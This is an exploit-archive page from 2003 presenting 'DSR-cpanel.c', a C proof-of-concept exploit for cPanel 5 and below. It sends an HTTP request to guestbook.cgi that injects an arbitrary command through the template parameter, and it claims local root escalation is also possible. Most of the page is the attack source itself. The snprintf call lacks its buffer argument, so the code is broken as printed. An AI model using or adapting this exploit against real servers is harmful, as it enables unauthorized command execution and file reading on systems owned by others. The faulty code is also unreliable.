exploit the possibilities

DSR-cpanel.c

DSR-cpanel.c
Posted Feb 20, 2003
Authored by Bob | Site dtors.net

Cpanel 5 and below remote exploit which allows users to view any file or execute remote commands due to an insecure open call in guestbook.cgi. Local root vulnerabilities also exist.

tags | exploit, remote, local, cgi, root, vulnerability
SHA-256 | 872dc79f37bab68ceed000840eafddb4a2ece4fdb910242de487ea4a95d25073

DSR-cpanel.c

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/*
* DSR-cpanel.c by bob@dtors.net
* Vulnerbility found by Polkeyzz
*
* This is a Proof of Concept exploit for
* the cpanel 5 and below. Problem is a open()
* in guestbook.cgi.
*
* User may view any file or execute commands.
* There also exists a local vulnerbility to
* escalate privileges to root.
*
* PoC by bob of dtors.net >>DSR-apache rewrite<<
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>


int main(int argc, char *argv[]) {

int sock;
char exp[75];

struct in_addr addr;
struct sockaddr_in sin;
struct hostent *bob;


fprintf(stdout, "\n\tDSR-cpanel.c By bob.\n");
fprintf(stdout, "Proof Of Concept Code for cpanel 5.0 <\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");

if(argc<3)
{
fprintf(stderr, "\nUsage : %s <host> <command>\n\n", argv[0]);
exit(1);
}



if ((bob=gethostbyname(argv[1])) == NULL)
{
fprintf(stderr, "Socket Error!\n\n");
exit(1);
}


sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(bob->h_addr, (char *)&sin.sin_addr, bob->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);



fprintf(stdout, "Connecting...\n");
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
fprintf(stderr, "...Problem Connecting, Exited.\n");
exit(1);
}

else {

snprintf(sizeof(exp)-1, "GET /cgi-sys/guestbook.cgi/user=cpanel&template=%s HTTP/1.1\r\nHost: %s\r\n\r\n" ,argv[2], argv[1]);
write(sock,exp,strlen(exp));

fprintf(stdout, "Command sent/executed!\n\n");


close(sock);
exit (0);

}

}











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